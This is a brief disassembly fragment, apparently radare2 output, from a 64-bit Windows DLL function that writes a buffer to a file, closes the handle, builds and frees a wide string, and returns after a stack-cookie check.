mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x68]
mov r8d, dword [r14]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x58], 7
mov qword [rsp + 0x50], rbx
mov word [rsp + 0x40], bx
cmp word [rsp + 0x70], bx
je 0x18000d9ff
lea rax, [rsp + 0x70]
or rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x18000d9f5
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.180005ff0
nop
lea r9, [rsp + 0x40]
mov r8, r12
mov rdx, r15
mov rcx, rbp
call fcn.18000d5c0
mov ebx, eax
mov rax, qword [rsp + 0x58]
cmp rax, 8
jb 0x18000da99
inc rax
mov rcx, qword [rsp + 0x40]
movabs rdx, 0x7fffffffffffffff
cmp rax, rdx
jbe 0x18000da4f
call fcn.18003835c
int3
add rax, rax
cmp rax, 0x1000
jb 0x18000da94
test byte [rsp + 0x40], 0x1f
je 0x18000da67
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18000da76
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x18000da85
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x18000da91
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov eax, ebx
jmp 0x18000daa2
mov eax, 6
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.180033e70
add rsp, 0x4a0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret